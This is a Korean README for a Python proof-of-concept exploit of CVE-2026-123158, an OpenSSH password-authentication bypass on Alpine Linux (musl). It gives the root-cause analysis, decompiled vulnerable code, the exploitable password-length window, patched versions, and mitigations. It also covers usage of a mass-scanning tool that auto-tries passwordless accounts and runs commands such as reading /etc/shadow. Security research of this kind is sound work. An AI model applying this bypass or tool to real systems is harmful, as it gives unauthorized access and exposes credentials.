Alpine musl 시스템에서 OpenSSH 비밀번호 인증 우회 취약점인 CVE-2026-123158을 악용하는 Python PoC로, 자동 스캔, 사전 조건 검사, 로그인 후 명령 실행 기능을 제공합니다.
Alpine Linux(musl libc)에서의 OpenSSH 비밀번호 인증 우회
CVSS 3.1: 8.1 (High) · CWE-394 · 공개일: 2026-11-05
보고자: Özgün Kültekin (Wakefield)
법적 고지
이 저장소는 오직 교육 목적, 보안 연구, 그리고 승인되고 통제된 환경에서의 테스트만을 위해 제공됩니다. 소유자의 명시적 허가 없이 시스템에 이 자료를 사용하는 것은 불법이며 비윤리적입니다. 저자는 승인된 맥락 밖에서 이 콘텐츠를 사용함으로써 발생하는 어떠한 오용, 손해 또는 법적 결과에 대해서도 책임을 지지 않습니다.
Alpine Linux의 sshd는 공격자가 256바이트보다 긴 비밀번호를 전송할 경우, 비밀번호가 설정되지 않은 계정(shadow에서 *)에 대해서도 비밀번호 인증을 허용합니다. 사전 권한은 필요하지 않으며 — SSH 포트에 대한 네트워크 접근만으로 충분합니다.
이 취약점은 세 가지 독립적인 설계 결정의 상호작용에서 비롯됩니다:
┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure │
│ (glibc returns NULL; no ambiguity) │
│ │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes │
│ password > 256B → crypt() fails → returns "*" │
│ │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration │
│ sshd ALWAYS calls crypt() even for no-password accts │
│ using a salt "borrowed" from another account │
│ │
│ RESULT: │
│ crypt("A"×300, real_salt) → "*" ← musl failure │
│ strcmp("*", "*") → 0 ← no-password acct │
│ LOGIN ACCEPTED │
└──────────────────────────────────────────────────────────┘
이것은 공개 CVE 소스에 문서화되지 않은 중요한 세부 사항입니다.
Alpine의 sshd는 xcrypt.c의 pick_salt()를 정적 캐시(salt_0)와 함께 사용합니다. 이 우회는 동일한 SSH 연결 내에서 정확히 두 번의 시도를 필요로 합니다:
| 시도 | pick_salt() | pw_password 상태 | crypt() | 결과 |
|---|---|---|---|---|
| 1번째 | getpwent/getspnam 루프 실행 → musl 정적 버퍼 덮어씀 | 손상됨 (다른 계정의 데이터를 가리킴) | "*" | strcmp("*", <손상됨>) → 실패 |
| 2번째 | 캐시 salt_0 != '\0' → 즉시 반환, getspnam() 없음 | 유효함: 대상 계정의 "*" 그대로 유지 | "*" | strcmp("*", "*") == 0 → 성공 |
musl 버퍼 앨리어싱: getspnam()은 모든 호출에 대해 단일 전역 정적 버퍼를 사용합니다. 1번째 시도에서 pick_salt()는 salt를 가져오기 위해 getspnam("hashuser")를 호출하여, pw_password가 가리키는 버퍼(getspnam("victim")에서 온 것)를 덮어씁니다. 2번째 시도에서는 루프가 건너뛰어지므로 버퍼가 그대로 유지되어 → 익스플로잇이 성공합니다.
익스플로잇은 paramiko.Transport를 직접 사용하여 동일한 SSH 연결 내에서 두 번의 시도를 모두 수행합니다.
바이너리: sshd-session (ELF x86_64, OpenSSH 9.9p2, Alpine 3.21, 디버그 심볼 포함)
| 함수 | 주소 | 역할 |
|---|---|---|
sys_auth_passwd | 0x10f2e0 | 메인 게이트 — 취약한 조건 |
xcrypt | 0x1a7720 | pick_salt가 여기에 인라인됨 (원래 static) |
shadow_pw | 0x1a7700 | getspnam() 호출 — 버퍼 앨리어싱 |
pick_salt에는 별도의 심볼이 없으며, 컴파일러가 이를xcrypt내부에 인라인했습니다.
sys_auth_passwd — 취약한 조건// victim has shadow "*" → pw_password = "*"
char *pw_password = shadow_pw(pw);
// GATE: pw_password[1] == '\0' ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password; // NOT executed
else
salt = NULL; // vulnerable path
encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0; // strcmp("*","*") → LOGIN ACCEPTED
xcrypt — 정적 캐시 salt_0if (salt == NULL) {
if (salt_0 == '\0') { // 1st call: populate cache
setpwent();
do {
pw = getpwent();
pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
} while (*pcVar1 != '$');
strlcpy(&salt_0, pcVar1, len);
explicit_bzero(pcVar1, strlen(pcVar1));
endpwent();
}
// 2nd call: salt_0 != '\0' → skips loop, no getspnam()
salt = &salt_0;
}
return crypt(password, salt); // musl: len > 256 → returns "*"
| 조건 | Alpine 기본값 |
|---|---|
PasswordAuthentication yes | 예 (기본값) |
UsePAM no (PAM 없음) | 예 (기본값, PAM 미설치) |
shadow에 *가 있는 대상 계정 | 예 (Alpine 3.16부터 root, 키 전용 계정) |
$5$/$6$ 해시를 가진 다른 계정 최소 하나 | pick_salt()에 필요 |
취약하지 않음: glibc 시스템(Debian/Ubuntu/RHEL), UsePAM yes, PasswordAuthentication no, 또는 shadow !(잠긴 계정).
*가 있는 계정 — 실제 환경에서의 보편성| 계정 | 맥락 |
|---|---|
root | Alpine 3.16부터 기본값 (키 전용 로그인) |
alpine | Cloud-init 기본 사용자 (AWS, GCP, Hetzner) |
ec2-user | Alpine 기반 Amazon Linux AMI |
nobody, nginx, postgres | 패키지 관리자가 비밀번호 없이 생성 |
≤ 256 bytes → rejected (crypt() works, returns real hash)
257–1024 → ACCEPTED (crypt() fails at KEY_MAX, returns "*")
≥ 1025 → rejected (OpenSSH MAX_PASSWORD_LEN = 1024)
| Alpine 브랜치 | 패치 버전 |
|---|---|
| edge | 10.6_p2-r0 |
| 3.24 | 10.3_p1-r2 |
| 3.23 | 10.2_p1-r1 |
| 3.22 | 10.0_p1-r11 |
| 3.21 | 9.9_p2-r1 |
| 3.20 | 9.7_p1-r6 |
| 3.19 | 9.6_p1-r3 |
| 3.18 | 9.3_p2-r4 |
| < 3.16 | 사용 가능한 패치 없음 |
업스트림 수정: OpenSSH 10.6p2 — auth-passwd.c는 shadow 필드가 4자 미만일 때 일치를 거부합니다.
# Alpine — update openssh and restart daemon
apk upgrade -U -a
rc-service sshd restart # mandatory — installing alone does not replace the running process
# Without updating — disable PasswordAuthentication
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/disable-pw.conf
sshd -t && rc-service sshd restart
비밀번호 인증을 비활성화하기 전에 키 기반 로그인이 작동하는지 확인하세요.
usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
[--auto] [--scan] [--check] [--workers N] [--output FILE]
[--cmd CMD] [--size N] [-v] [-h]
required:
--single IP Single target (e.g. 192.168.1.10)
--list FILE IP list file (one per line; supports IP:port)
--port N SSH port (default: 22)
--user NAME Target user (not required with --auto)
operation mode (default: direct exploit):
--auto Test common accounts with '*' in shadow: root, alpine,
ec2-user, nobody, nginx, postgres
--scan Map the password size boundary (requires --user)
--check Check preconditions without exploiting (requires --user)
optional:
--workers N Parallel workers for --list (default: 1; recommended: <= 20)
--output FILE Save vulnerable results to .txt (append; skips non-vulnerable)
--cmd CMD Command to run after login (default: id)
--size N Oversized password length (default: 300; range: 257-1024)
-v, --verbose Verbose output with technical mechanism details
-h, --help Show this message and exit
examples:
# auto-scan a single target (tests common accounts)
python3 exploit.py --single 192.168.1.10 --port 22 --auto
# auto-scan a target list, save vulnerable results
python3 exploit.py --list targets.txt --auto --output vulnerable.txt
# parallel scan over a list (10 workers)
python3 exploit.py --list targets.txt --auto --workers 10 --output vulnerable.txt
# direct exploit on a known user with a custom command
python3 exploit.py --single 192.168.1.10 --port 22 --user root --cmd 'id && cat /etc/shadow'
# map the password size boundary
python3 exploit.py --single 192.168.1.10 --port 22 --user root --scan
# check preconditions without exploiting
python3 exploit.py --single 192.168.1.10 --port 22 --user root --check
targets.txt format:
192.168.1.10 # uses global --port
192.168.1.11:2222 # overrides port for this host
# lines starting with # are ignored
# Accepted logins in sshd logs
grep "Accepted password" /var/log/messages
# Accounts with '*' in shadow (bypass candidates)
awk -F: '$2 == "*" {print $1}' /etc/shadow